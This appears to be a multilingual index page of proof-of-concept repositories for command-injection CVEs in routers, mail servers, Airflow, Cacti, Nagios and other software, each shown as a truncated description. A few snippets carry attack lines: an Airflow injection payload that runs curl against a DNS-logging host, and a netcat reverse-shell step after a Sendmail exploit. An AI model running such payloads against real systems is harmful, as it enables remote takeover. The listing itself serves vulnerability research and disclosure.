CVE-2023-26866

CVE-2023-26866 الوصف تعتبر وحدة WR-1200 الداخلية من GreenPacket OH736 ووحدة OT-235 مع إصدارات البرامج الثابتة M-IDU-1.6.0.3V1.1 و MH-46360-2.0.3-R5-GP على التوالي معرضة لحقن الأوامر عن بُعد. يتم تنفيذ الأوامر باستخدام تنفيذ ما قبل تسجيل الدخول ويتم تنفيذها بصلاحيات الجذر مما يسمح بالسيطرة الكاملة...

CVE-2026-105134: Improper Neutralization of Special Elements used in an OS Command

A flaw has been found in Ahsay AhsayCBS up to 10.3.2. This vulnerability affects unknown code of the file /rps/api/json/UpdateReceivers.do of the component Replication Receiver. Executing a manipulation of the argument random can lead to os command injection. It is possible to launch the attack...

CVE-2026-27626-POC

CVE-2026-27626: OliveTin 비밀번호 인자 명령 주입 OliveTin은 관리자가 "actions"사용자가 웹 UI 또는 API에서 트리거할 수 있는, 매개변수화된 인자를 가진 셸 명령을 정의할 수 있게 해줍니다. OliveTin은 사용자가 제공한 값을 셸 명령에 템플릿화하기 전에 checkShellArgumentSafety를 통해 검사해야 합니다. 이 함수는 string, int, bool, choice의 네 가지 인자 유형을 검사합니다. password는 완전히 건너뛰고 값은 전혀 보지 않은 채 "안전함"을...

CVE-2026-50979

CVE-2026-50979 : Exécution de code à distance authentifiée dans oPanel Aperçu CVE ID : CVE-2026-50979 Produit : oPanel Versions concernées : v1.19.50 et antérieures Type de vulnérabilité : Injection de commandes authentifiée / Exécution de code à distance RCE Composant vulnérable : point d'accès...

CVE-2020-5752

CVE-2020-5752: Élévation de privilèges locale de Druva inSync Un exploit en C pour le client Windows Druva inSync v6.6.3 et inférieur. L'application expose un service RPC sur le port 6064 qui est vulnérable à une injection de commande via un parcours de chemin. Cela permet à un utilisateur local...

CVE-2020-7247-reproducer

CVE-2020-7247 OpenSMTPD معلومات يحتوي هذا المستودع على الملفات اللازمة لبناء صورة Docker تحتوي على بيئة ضعيفة لـ OpenSMTPD 6.6.1p1. تسمح الثغرة للمهاجم بتنفيذ أوامر عشوائية عبر جلسة SMTP مُصممة خصيصًا، وتحديدًا في حقل MAIL FROM. الاستخدام 1. بناء صورة Docker مبنية على Debian: docker build -t...

CVE-2026-48732-poc

CVE-2026-48732: إثبات المفهوم PoC لحقن أوامر cwd عن بعد عبر SSH في Warp النسخة الإنجليزية نظرة عامة يُعد هذا المستودع إثبات المفهوم PoC للثغرة الأمنية عالية الخطورة CVE-2026-48732 ، وهي ثغرة من نوع حقن أوامر نظام التشغيل OS Command Injection موجودة في معالجة أوامر الخلفية التقليدية لـ SSH في تطبي...

CVE-2025-31644

CVE-2025-31644: حقن أوامر في وضع الجهاز في F5 BIG-IP معامل "file" لأمر "save" عرضة لهجوم حقن أوامر، مما يسمح لمهاجم موثوق بصلاحيات مسؤول لواجهة برمجة التطبيقات للويب "/mgmt" أو لواجهة الأوامر النصية SSH "tmsh"، بالحصول على تنفيذ عن بُعد للكود كمستخدم "root" على النظام المستهدف. ملاحظة: يعتبر هذا...

Exploit for Argument Injection in Thecodingmachine Gotenberg

🔥 GOTENBERG RCE CHAIN CVE-2026-42589 + CVE-2026-40281 !...

CVE-2026-78306

CVE-2026-78306 — DJI Drone DUML Command Injection over Bluetooth POC CVE record: https://vulners.com/cve/CVE-2026-78306 NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-78306 Description DJI drones expose a Bluetooth interface used to establish a connection to the drone's Wi-Fi interface and exchan...

CVE-2025-60787

CVE-2025-60787 — ثغرة تنفيذ أوامر عن بُعد مصادق عليها في motionEye إثبات اختراق PoC لحقن أوامر مصادق عليه لـ CVE-2025-60787. يقوم motionEye v0.43.1b4 والإصدارات الأقدم بكتابة قيم إعدادات الكاميرا التي يتحكم بها المستخدم مثل imagefilename في إعدادات Motion دون تعقيم كافٍ، مما يسمح بتنفيذ الأوامر ع...

CVE-2024-6333

CVE-2024-6333 - Exécution de code à distance authentifiée Xerox Vulnérabilité d'exécution de code à distance authentifiée dans les imprimantes Xerox WorkCentre via la fonctionnalité Journal de dépannage réseau. Description La fonctionnalité Journal de dépannage réseau...

CVE-2022-40127

CVE-2022-40127 Apache Airflow .env docker-compose up airflow-init docker-compose up -d waiting some times open localhost:8080 إثبات المفهوم 1 examplebashoperator "fxoxx":"";curl uname.lxx2.535ld4zn.dnslog.pw;"" عبر dnslog إثبات المفهوم 2 curl -X 'POST' ...

CVE-2026-4480-PoC

CVE-2026-4480-PoC CVE-2026-4480 – حقن أوامر في اسم وظيفة الطباعة في سامبا نظرة عامة CVE-2026-4480 هو ثغرة حقن أوامر تؤثر على بعض تكوينات الطباعة في سامبا التي تستخدم أوامر طباعة خارجية. يوجد الثغرة لأن سامبا يُدرج بيانات تعريف وظيفة الطباعة التي يتحكم بها المستخدم في أمر قشرة دون الهروب الصحيح من...

sendmail-clamav-exploit-CVE-2007-4560

استغلال Sendmail + ClamAV-Milter CVE-2007-4560 استغلال Python لـ RCE لـ Sendmail مع ClamAV-Milter بعد الاستغلال بنجاح: nc 1001 bash -i تم الاختبار على Sendmail 8.13.4/8.13.4/Debian-3sarge3 ClamAV-Milter 0.91.2 المراجع الاستغلال الأصلي: https://www.exploit-db.com/exploits/4761 CVE: متعلق بحقن أوام...

CVE-2024-1655

CVE-2024-1655 الوصف البرامج الثابتة الخاصة بـ ASUS ExpertWiFi EBM63 وEBM68 وRT-AX57 Go قبل تصحيح 12-04-2024 تحتوي على ثغرة حقن أوامر في دالة splashpageSDN.cgi. عندما يرسل المهاجم طلبًا مصممًا خصيصًا، يمكنه تحقيق تنفيذ تعسفي للكود. المراجع: التقرير الرسمي الاستخدام الثغرة عبارة عن RCE موثّق يتطلب...

CVE-2025-23061

CVE-2025-23061 - حقن أوامر في Mongoose إثبات مفهوم لثغرة حقن الأوامر في Mongoose = 7.0.0 = 8.0.0 8.9.5 الجدول الزمني لـ CVE-2024-53900 و CVE-2025-23061 7 نوفمبر 2024: حدد Dat Phung ثغرة حرجة في Mongoose وأرسل تقريرًا أمنيًا إلى Snyk. 26 نوفمبر 2024: أصدرت Mongoose الإصدار 8.8.3 لمعالجة هذه الثغرة...

CVE-2021-31630-OpenPLC-3-Authenticated-RCE

CVE-2021-31630 OpenPLC 3 WebServer تنفيذ الأوامر عن بعد بعد المصادقة. الوصف وجود حقن أوامر في خادم OpenPLC Webserver v3 يمكّن المهاجمين عن بعد من تشغيل أكواد عشوائية عن طريق استغلال مكون "Hardware Layer Code Box" الموجود في صفحة "/hardware" من التطبيق. تم اختباره فقط على جهاز Wifinetictwo.htb من...

CVE-2022-46169

CVE-2022-46169 استغلال ثغرة CVE-2022-46169 في إصدارات Cacti قبل 1.2.3 هنا تتحقق الدالة remoteclientauthorized من اسم مضيف العميل في جدول poller عند الإدخال function remoteclientauthorized // ... $clientaddr = getclientaddr; // ... $clientname = gethostbyaddr$clientaddr; // ... $pollers =...

CVE-2025-34322_CVE-2025-34323_Nagios_Log_Server

CVE-2025-34322 و CVE-2025-34323 Nagios Log Server إثباتات المفهوم لاستغلالات CVE-2025-34322 و CVE-2025-34323 في Nagios Log Server، بالإضافة إلى سكريبت مشترك لإرجاع شيل كجذر. CVE-2025-34322 بعد المصادقة، استبدل معرف الجلسة الخاص بك في أوامر curl التالية. الأول يحدد الأمر المراد تنفيذه، والثاني ينف...